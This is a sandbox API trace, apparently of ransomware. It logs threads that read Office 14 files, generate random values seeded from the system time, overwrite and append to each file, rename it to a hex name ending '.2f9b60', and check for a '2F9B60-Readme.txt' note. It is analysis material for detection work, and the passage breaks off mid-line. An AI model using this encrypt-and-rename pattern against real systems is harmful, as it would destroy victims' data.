[0203.454] sprintf (in: _Dest=0x1cd9f112, _Format="%c%c" | out: _Dest="13") returned 2 [0203.454] sprintf (in: _Dest=0x1cd9f114, _Format="%c%c" | out: _Dest="20") returned 2 [0203.454] sprintf (in: _Dest=0x1cd9f116, _Format="%c%c" | out: _Dest="48") returned 2 [0203.454] sprintf (in: _Dest=0x1cd9f118, _Format="%c%c" | out: _Dest="6a") returned 2 [0203.454] sprintf (in: _Dest=0x1cd9f11a, _Format="%c%c" | out: _Dest="97") returned 2 [0203.454] sprintf (in: _Dest=0x1cd9f11c, _Format="%c%c" | out: _Dest="9f") returned 2 [0203.454] sprintf (in: _Dest=0x1cd9f11e, _Format="%c%c" | out: _Dest="ca") returned 2 [0203.454] RtlInitAnsiString (in: DestinationString=0x3aa7f6c8, SourceString="f9863960b3e23692a9a5344746837078431320486a979fca" | out: DestinationString="f9863960b3e23692a9a5344746837078431320486a979fca") [0203.454] RtlAnsiStringToUnicodeString (in: DestinationString=0x3aa7f698, SourceString="f9863960b3e23692a9a5344746837078431320486a979fca", AllocateDestinationString=1 | out: DestinationString="f9863960b3e23692a9a5344746837078431320486a979fca") returned 0x0 [0203.454] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b7c2440 [0203.455] wcscat (in: _Dest=0x202af7c0, _Source="f9863960b3e2" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\f9863960b3e2") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\f9863960b3e2" [0203.455] wcscat (in: _Dest=0x202af7c0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\f9863960b3e2.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\f9863960b3e2.2f9b60" [0203.455] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\f9863960b3e2.2f9b60", NtPathName=0x3aa7f670, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\f9863960b3e2.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0203.455] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x43130a90 Thread: id = 2163 os_tid = 0x155c [0140.229] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGCNV.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dwgcnv.vsl")) returned 0x20 [0140.230] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGCNV.VSL", dwFileAttributes=0x20) returned 1 [0140.791] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGCNV.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dwgcnv.vsl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1afc [0144.830] GetFileSizeEx (in: hFile=0x1afc, lpFileSize=0x22c0f9c0 | out: lpFileSize=0x22c0f9c0*=38752) returned 1 [0144.831] SetFilePointerEx (in: hFile=0x1afc, liDistanceToMove=0x975c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.831] ReadFile (in: hFile=0x1afc, lpBuffer=0x22c0f940, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x22c0f988, lpOverlapped=0x0 | out: lpBuffer=0x22c0f940*, lpNumberOfBytesRead=0x22c0f988*=0x4, lpOverlapped=0x0) returned 1 [0144.848] SetFilePointerEx (in: hFile=0x1afc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.849] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204feda0 [0144.849] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fec80 [0144.849] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fec50 [0144.849] NtQuerySystemTime (in: CurrentTime=0x22c0f880 | out: CurrentTime=0x22c0f880*=132462177500950000) returned 0x0 [0144.849] RtlRandomEx (in: Seed=0x22c0f870 | out: Seed=0x22c0f870) returned 0x1d64b32d [0144.849] RtlRandomEx (in: Seed=0x22c0f870 | out: Seed=0x22c0f870) returned 0x3372c93a [0144.849] RtlRandomEx (in: Seed=0x22c0f870 | out: Seed=0x22c0f870) returned 0x4213c022 [0144.849] RtlRandomEx (in: Seed=0x22c0f870 | out: Seed=0x22c0f870) returned 0x7fbff6e8 [0144.849] RtlRandomEx (in: Seed=0x22c0f870 | out: Seed=0x22c0f870) returned 0x18320f6a [0144.849] RtlRandomEx (in: Seed=0x22c0f870 | out: Seed=0x22c0f870) returned 0x8e6f949 [0144.849] RtlRandomEx (in: Seed=0x22c0f870 | out: Seed=0x22c0f870) returned 0x53dc0ab [0144.849] RtlRandomEx (in: Seed=0x22c0f870 | out: Seed=0x22c0f870) returned 0x537fea5a [0144.850] RtlRandomEx (in: Seed=0x22c0f870 | out: Seed=0x22c0f870) returned 0x2ef482df [0144.850] RtlRandomEx (in: Seed=0x22c0f870 | out: Seed=0x22c0f870) returned 0x55442b [0144.850] RtlRandomEx (in: Seed=0x22c0f870 | out: Seed=0x22c0f870) returned 0x62a9ac8b [0144.850] RtlRandomEx (in: Seed=0x22c0f870 | out: Seed=0x22c0f870) returned 0x51905e92 [0144.850] RtlRandomEx (in: Seed=0x22c0f870 | out: Seed=0x22c0f870) returned 0x60d06bd3 [0144.850] RtlRandomEx (in: Seed=0x22c0f870 | out: Seed=0x22c0f870) returned 0x73a9376 [0144.850] RtlRandomEx (in: Seed=0x22c0f870 | out: Seed=0x22c0f870) returned 0x1d4487b5 [0144.850] RtlRandomEx (in: Seed=0x22c0f870 | out: Seed=0x22c0f870) returned 0x7f9930ae [0144.850] RtlRandomEx (in: Seed=0x22c0f870 | out: Seed=0x22c0f870) returned 0x60668132 [0144.850] RtlRandomEx (in: Seed=0x22c0f870 | out: Seed=0x22c0f870) returned 0x3a730866 [0144.850] RtlRandomEx (in: Seed=0x22c0f870 | out: Seed=0x22c0f870) returned 0x63bb6316 [0144.850] RtlRandomEx (in: Seed=0x22c0f870 | out: Seed=0x22c0f870) returned 0x4d796f5a [0144.850] RtlRandomEx (in: Seed=0x22c0f870 | out: Seed=0x22c0f870) returned 0x68f7b1af [0144.850] RtlRandomEx (in: Seed=0x22c0f870 | out: Seed=0x22c0f870) returned 0x531c8bcb [0144.850] RtlRandomEx (in: Seed=0x22c0f870 | out: Seed=0x22c0f870) returned 0x715e0bb2 [0144.850] RtlRandomEx (in: Seed=0x22c0f870 | out: Seed=0x22c0f870) returned 0x5fc278a0 [0144.850] RtlRandomEx (in: Seed=0x22c0f870 | out: Seed=0x22c0f870) returned 0x3020f1ba [0144.850] RtlRandomEx (in: Seed=0x22c0f870 | out: Seed=0x22c0f870) returned 0x63e9688f [0144.850] RtlRandomEx (in: Seed=0x22c0f870 | out: Seed=0x22c0f870) returned 0x69b1f3dd [0144.850] RtlRandomEx (in: Seed=0x22c0f870 | out: Seed=0x22c0f870) returned 0x440c02c9 [0144.850] RtlRandomEx (in: Seed=0x22c0f870 | out: Seed=0x22c0f870) returned 0x2e0ea5b9 [0144.850] RtlRandomEx (in: Seed=0x22c0f870 | out: Seed=0x22c0f870) returned 0x3f48c368 [0144.850] RtlRandomEx (in: Seed=0x22c0f870 | out: Seed=0x22c0f870) returned 0x3220af6e [0144.850] RtlRandomEx (in: Seed=0x22c0f870 | out: Seed=0x22c0f870) returned 0x117cda2b [0144.859] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204feb90 [0144.859] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061830 [0144.859] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fed10 [0144.860] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061830) returned 1 [0144.860] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fec50) returned 1 [0144.860] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204feda0) returned 1 [0144.860] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x422ae530 [0144.860] SetFilePointerEx (in: hFile=0x1afc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.860] ReadFile (in: hFile=0x1afc, lpBuffer=0x422ae530, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x22c0f8e0, lpOverlapped=0x0 | out: lpBuffer=0x422ae530*, lpNumberOfBytesRead=0x22c0f8e0*=0x3c00, lpOverlapped=0x0) returned 1 [0144.870] SetFilePointerEx (in: hFile=0x1afc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.870] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059bf0 [0144.870] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061830 [0144.870] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fec50 [0144.870] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fec50) returned 1 [0144.870] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4231f0f0 [0144.871] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fec50 [0144.871] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fece0 [0144.871] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fece0) returned 1 [0144.871] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061830) returned 1 [0144.871] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059bf0) returned 1 [0144.871] WriteFile (in: hFile=0x1afc, lpBuffer=0x4231f0f0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x22c0f8e0, lpOverlapped=0x0 | out: lpBuffer=0x4231f0f0*, lpNumberOfBytesWritten=0x22c0f8e0*=0x3c00, lpOverlapped=0x0) returned 1 [0144.895] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4231f0f0) returned 1 [0144.895] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422ae530) returned 1 [0144.895] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x204fee90 [0144.896] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059ba0 [0144.896] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061830 [0144.896] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204feec0 [0144.896] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204feec0) returned 1 [0144.896] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x204feec0 [0144.896] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204feef0 [0144.897] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fedd0 [0144.897] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fedd0) returned 1 [0144.897] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061830) returned 1 [0144.897] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ba0) returned 1 [0144.897] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x106) returned 0x16a080 [0144.897] SetFilePointerEx (in: hFile=0x1afc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0144.897] WriteFile (in: hFile=0x1afc, lpBuffer=0x16a080*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x22c0f990, lpOverlapped=0x0 | out: lpBuffer=0x16a080*, lpNumberOfBytesWritten=0x22c0f990*=0x106, lpOverlapped=0x0) returned 1 [0144.902] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059ba0 [0144.902] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061830 [0144.902] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204feda0 [0144.903] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204feda0) returned 1 [0144.903] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b7d5a50 [0144.903] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204feda0 [0144.903] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fece0 [0144.903] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fece0) returned 1 [0144.903] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061830) returned 1 [0144.903] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ba0) returned 1 [0144.904] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x1cda07f0 [0144.904] sprintf (in: _Dest=0x1cda07f0, _Format="%c%c" | out: _Dest="70") returned 2 [0144.904] sprintf (in: _Dest=0x1cda07f2, _Format="%c%c" | out: _Dest="f3") returned 2 [0144.904] sprintf (in: _Dest=0x1cda07f4, _Format="%c%c" | out: _Dest="75") returned 2 [0144.904] sprintf (in: _Dest=0x1cda07f6, _Format="%c%c" | out: _Dest="fd") returned 2 [0144.904] sprintf (in: _Dest=0x1cda07f8, _Format="%c%c" | out: _Dest="5a") returned 2 [0144.904] sprintf (in: _Dest=0x1cda07fa, _Format="%c%c" | out: _Dest="56") returned 2 [0144.904] sprintf (in: _Dest=0x1cda07fc, _Format="%c%c" | out: _Dest="f2") returned 2 [0144.904] sprintf (in: _Dest=0x1cda07fe, _Format="%c%c" | out: _Dest="f6") returned 2 [0144.904] sprintf (in: _Dest=0x1cda0800, _Format="%c%c" | out: _Dest="62") returned 2 [0144.904] sprintf (in: _Dest=0x1cda0802, _Format="%c%c" | out: _Dest="78") returned 2 [0144.904] sprintf (in: _Dest=0x1cda0804, _Format="%c%c" | out: _Dest="d1") returned 2 [0144.904] sprintf (in: _Dest=0x1cda0806, _Format="%c%c" | out: _Dest="b2") returned 2 [0144.904] sprintf (in: _Dest=0x1cda0808, _Format="%c%c" | out: _Dest="0c") returned 2 [0144.904] sprintf (in: _Dest=0x1cda080a, _Format="%c%c" | out: _Dest="c0") returned 2 [0144.904] sprintf (in: _Dest=0x1cda080c, _Format="%c%c" | out: _Dest="4c") returned 2 [0144.904] sprintf (in: _Dest=0x1cda080e, _Format="%c%c" | out: _Dest="a3") returned 2 [0144.904] sprintf (in: _Dest=0x1cda0810, _Format="%c%c" | out: _Dest="40") returned 2 [0144.904] sprintf (in: _Dest=0x1cda0812, _Format="%c%c" | out: _Dest="ca") returned 2 [0144.905] sprintf (in: _Dest=0x1cda0814, _Format="%c%c" | out: _Dest="d9") returned 2 [0144.905] sprintf (in: _Dest=0x1cda0816, _Format="%c%c" | out: _Dest="69") returned 2 [0144.905] RtlInitAnsiString (in: DestinationString=0x22c0fa08, SourceString="70f375fd5a56f2f66278d1b20cc04ca340cad969" | out: DestinationString="70f375fd5a56f2f66278d1b20cc04ca340cad969") [0144.905] RtlAnsiStringToUnicodeString (in: DestinationString=0x22c0f9d8, SourceString="70f375fd5a56f2f66278d1b20cc04ca340cad969", AllocateDestinationString=1 | out: DestinationString="70f375fd5a56f2f66278d1b20cc04ca340cad969") returned 0x0 [0144.905] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1cd9db50 [0144.905] RtlFreeAnsiString (AnsiString="7") [0144.905] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cda07f0) returned 1 [0144.905] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d5a50) returned 1 [0144.906] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204feda0) returned 1 [0144.906] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x16a080) returned 1 [0144.906] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204feec0) returned 1 [0144.906] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204feef0) returned 1 [0144.906] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fee90) returned 1 [0144.906] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fec50) returned 1 [0144.906] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fec80) returned 1 [0144.907] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204feb90) returned 1 [0144.907] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fed10) returned 1 [0144.907] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x202ae530 [0144.907] wcscat (in: _Dest=0x202ae530, _Source="70f375fd5a" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\70f375fd5a") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\70f375fd5a" [0144.907] wcscat (in: _Dest=0x202ae530, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\70f375fd5a.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\70f375fd5a.2f9b60" [0144.907] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\70f375fd5a.2f9b60", NtPathName=0x22c0f9b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\70f375fd5a.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0144.907] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x2050ca80 [0144.907] NtSetInformationFile (FileHandle=0x1afc, IoStatusBlock=0x22c0fa50, FileInformation=0x2050ca80, Length=0xa2, FileInformationClass=0xa) returned 0x0 [0146.291] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050ca80) returned 1 [0146.291] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42051460) returned 1 [0146.291] NtQueryInformationFile (in: FileHandle=0x1afc, IoStatusBlock=0x22c0fa18, FileInformation=0x22c0fa28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x22c0fa18, FileInformation=0x22c0fa28) returned 0x0 [0146.291] NtSetInformationFile (FileHandle=0x1afc, IoStatusBlock=0x22c0fa18, FileInformation=0x22c0fa28, Length=0x28, FileInformationClass=0x4) returned 0x0 [0146.293] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ae530) returned 1 [0146.293] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9db50) returned 1 [0146.293] FlushFileBuffers (hFile=0x1afc) returned 1 [0146.304] CloseHandle (hObject=0x1afc) returned 1 [0146.315] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x2050b580 [0146.315] wcscpy (in: _Dest=0x2050b580, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0146.315] wcscat (in: _Dest=0x2050b580, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\2F9B60-Readme.txt" [0146.315] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\2f9b60-readme.txt")) returned 0x20 [0146.315] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050b580) returned 1 [0146.315] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866dc0) returned 1 Thread: id = 2164 os_tid = 0x1560 [0140.231] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EADOCUMENTAPPROVAL_INIT.XSN" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\eadocumentapproval_init.xsn")) returned 0x20 [0140.231] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EADOCUMENTAPPROVAL_INIT.XSN", dwFileAttributes=0x20) returned 1 [0140.792] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EADOCUMENTAPPROVAL_INIT.XSN" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\eadocumentapproval_init.xsn"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1bc4 [0144.799] GetFileSizeEx (in: hFile=0x1bc4, lpFileSize=0x3a98fa00 | out: lpFileSize=0x3a98fa00*=14478) returned 1 [0144.799] SetFilePointerEx (in: hFile=0x1bc4, liDistanceToMove=0x388a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.799] ReadFile (in: hFile=0x1bc4, lpBuffer=0x3a98f980, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3a98f9c8, lpOverlapped=0x0 | out: lpBuffer=0x3a98f980*, lpNumberOfBytesRead=0x3a98f9c8*=0x4, lpOverlapped=0x0) returned 1 [0144.832] SetFilePointerEx (in: hFile=0x1bc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.832] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fedd0 [0144.832] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fed40 [0144.833] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204feda0 [0144.833] NtQuerySystemTime (in: CurrentTime=0x3a98f8c0 | out: CurrentTime=0x3a98f8c0*=132462177500794000) returned 0x0 [0144.833] RtlRandomEx (in: Seed=0x3a98f8b0 | out: Seed=0x3a98f8b0) returned 0x7996a5a7 [0144.833] RtlRandomEx (in: Seed=0x3a98f8b0 | out: Seed=0x3a98f8b0) returned 0x73b432ed [0144.833] RtlRandomEx (in: Seed=0x3a98f8b0 | out: Seed=0x3a98f8b0) returned 0x77434dc7 [0144.833] RtlRandomEx (in: Seed=0x3a98f8b0 | out: Seed=0x3a98f8b0) returned 0x4772f45a [0144.833] RtlRandomEx (in: Seed=0x3a98f8b0 | out: Seed=0x3a98f8b0) returned 0xd74d445 [0144.833] RtlRandomEx (in: Seed=0x3a98f8b0 | out: Seed=0x3a98f8b0) returned 0x1e958167 [0144.833] RtlRandomEx (in: Seed=0x3a98f8b0 | out: Seed=0x3a98f8b0) returned 0x4f1735be [0144.833] RtlRandomEx (in: Seed=0x3a98f8b0 | out: Seed=0x3a98f8b0) returned 0x4a1a7de2 [0144.833] RtlRandomEx (in: Seed=0x3a98f8b0 | out: Seed=0x3a98f8b0) returned 0x254f3658 [0144.833] RtlRandomEx (in: Seed=0x3a98f8b0 | out: Seed=0x3a98f8b0) returned 0x3537caa5 [0144.833] RtlRandomEx (in: Seed=0x3a98f8b0 | out: Seed=0x3a98f8b0) returned 0x36199c93 [0144.833] RtlRandomEx (in: Seed=0x3a98f8b0 | out: Seed=0x3a98f8b0) returned 0x4213c022 [0144.833] RtlRandomEx (in: Seed=0x3a98f8b0 | out: Seed=0x3a98f8b0) returned 0x65c9c555 [0144.833] RtlRandomEx (in: Seed=0x3a98f8b0 | out: Seed=0x3a98f8b0) returned 0x1fd0948b [0144.833] RtlRandomEx (in: Seed=0x3a98f8b0 | out: Seed=0x3a98f8b0) returned 0x3537caa5 [0144.833] RtlRandomEx (in: Seed=0x3a98f8b0 | out: Seed=0x3a98f8b0) returned 0x21a873bd [0144.833] RtlRandomEx (in: Seed=0x3a98f8b0 | out: Seed=0x3a98f8b0) returned 0x5ebe64e1 [0144.833] RtlRandomEx (in: Seed=0x3a98f8b0 | out: Seed=0x3a98f8b0) returned 0xdc912e8 [0144.833] RtlRandomEx (in: Seed=0x3a98f8b0 | out: Seed=0x3a98f8b0) returned 0x43d95974 [0144.833] RtlRandomEx (in: Seed=0x3a98f8b0 | out: Seed=0x3a98f8b0) returned 0x3bfebd7 [0144.833] RtlRandomEx (in: Seed=0x3a98f8b0 | out: Seed=0x3a98f8b0) returned 0x27083222 [0144.833] RtlRandomEx (in: Seed=0x3a98f8b0 | out: Seed=0x3a98f8b0) returned 0x56da123b [0144.833] RtlRandomEx (in: Seed=0x3a98f8b0 | out: Seed=0x3a98f8b0) returned 0x98eeff2 [0144.834] RtlRandomEx (in: Seed=0x3a98f8b0 | out: Seed=0x3a98f8b0) returned 0x42505151 [0144.834] RtlRandomEx (in: Seed=0x3a98f8b0 | out: Seed=0x3a98f8b0) returned 0x18e7b25c [0144.834] RtlRandomEx (in: Seed=0x3a98f8b0 | out: Seed=0x3a98f8b0) returned 0x3505d96e [0144.834] RtlRandomEx (in: Seed=0x3a98f8b0 | out: Seed=0x3a98f8b0) returned 0x42f858bb [0144.834] RtlRandomEx (in: Seed=0x3a98f8b0 | out: Seed=0x3a98f8b0) returned 0x4ea32a6d [0144.834] RtlRandomEx (in: Seed=0x3a98f8b0 | out: Seed=0x3a98f8b0) returned 0x1b6733ba [0144.834] RtlRandomEx (in: Seed=0x3a98f8b0 | out: Seed=0x3a98f8b0) returned 0x1884b022 [0144.834] RtlRandomEx (in: Seed=0x3a98f8b0 | out: Seed=0x3a98f8b0) returned 0x498756bf [0144.834] RtlRandomEx (in: Seed=0x3a98f8b0 | out: Seed=0x3a98f8b0) returned 0x265ccf22 [0144.842] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fed70 [0144.843] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061ab0 [0144.843] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fecb0 [0144.843] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061ab0) returned 1 [0144.843] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204feda0) returned 1 [0144.843] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fedd0) returned 1 [0144.843] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059f60 [0144.843] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061ab0 [0144.844] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fedd0 [0144.844] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fedd0) returned 1 [0144.844] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x422c1180 [0144.844] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x422b5d50 [0144.844] ReadFile (in: hFile=0x1bc4, lpBuffer=0x422c1180, nNumberOfBytesToRead=0x388e, lpNumberOfBytesRead=0x3a98f8b0, lpOverlapped=0x0 | out: lpBuffer=0x422c1180*, lpNumberOfBytesRead=0x3a98f8b0*=0x388e, lpOverlapped=0x0) returned 1 [0144.861] SetFilePointerEx (in: hFile=0x1bc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.862] WriteFile (in: hFile=0x1bc4, lpBuffer=0x422b5d50*, nNumberOfBytesToWrite=0x388e, lpNumberOfBytesWritten=0x3a98f8b4, lpOverlapped=0x0 | out: lpBuffer=0x422b5d50*, lpNumberOfBytesWritten=0x3a98f8b4*=0x388e, lpOverlapped=0x0) returned 1 [0161.148] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3890 [0161.148] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a38c0 [0161.149] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a38c0) returned 1 [0161.149] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422b5d50) returned 1 [0161.149] RtlFreeHeap 